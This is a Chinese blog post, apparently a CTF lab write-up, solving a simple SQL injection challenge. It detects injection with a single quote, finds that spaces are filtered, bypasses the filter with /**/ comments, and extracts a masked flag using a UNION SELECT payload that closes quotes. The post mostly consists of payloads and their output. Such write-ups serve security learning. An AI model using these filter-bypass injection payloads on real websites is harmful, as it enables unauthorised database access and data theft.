

# 实验吧web之简单的sql注入1

原创

Flenington 于 2017-05-06 19:56:24 发布 8236 收藏 1

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：[https://blog.csdn.net/Everywhere\\_wwx/article/details/71289107](https://blog.csdn.net/Everywhere_wwx/article/details/71289107)

版权



[sql 专栏收录该内容](#)

3 篇文章 0 订阅

订阅专栏

## 0x.部分题解

一、通过加英文单引号 `'`，检测到存在注入：`php?id=1`

<b>flag</b>	<b>flag</b>
到底过滤了什么东西？	到底过滤了什么东西？
<input type="text" value="1"/> <input type="button" value="提交"/>	<input type="text" value="'"/> <input type="button" value="提交"/>
ID: 1 name: baloteli	:hat corresponds to your MySQL :

二、按常规步骤输入 `1 and 1=1` 和 `1 and 1=2` 的时候，发现报了“SQLi deteced!”而无法查询：`php?1 and 1=1`  
`php?1 and 1=2`

<b>flag</b>	<b>flag</b>
到底过滤了什么东西？	到底过滤了什么东西？
<input type="text" value="1 and 1=1"/> <input type="button" value="提交"/>	<input type="text" value="1 and 1=2"/> <input type="button" value="提交"/>
SQLi detected!	SQLi detected!

那么，去掉空格输入 `1and1=1` 和 `1and1=2` 呢？

<b>flag</b>	<b>flag</b>
到底过滤了什么东西？	到底过滤了什么东西？
<input type="text" value="1and1=1"/> <input type="button" value="提交"/>	<input type="text" value="1and1=2"/> <input type="button" value="提交"/>
ID: 1and1=1 name: baloteli	ID: 1and1=2 name: baloteli

确定是 **过滤了空格**！

三、绕过过滤空格的进行手工注入，常用一对英文括号 `()` 或者程序中常用的一对注释符 `/**/` 来替代空格。

## flag

到底过滤了什么东西？

```
ID: 1/**/and/**/1=1
name: baloteli
```

四、输入 `1/**/union/**/select/**/flag/**/from/**/flag/**/where/**/1=1`，顺利输出预期结果：

【至于字段flag和表flag就是纯粹猜测的】

## flag

到底过滤了什么东西？

```
ID: 1/**/union/**/select/**/flag/**/from/**/flag/**/where/**/1=1
name: baloteli
```

五、加单引号闭合，执行：

```
1/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
```

## flag

到底过滤了什么东西？

```
ID: 1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
name: baloteli
```

```
ID: 1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
name: flag{XXXXXXXXXX}
```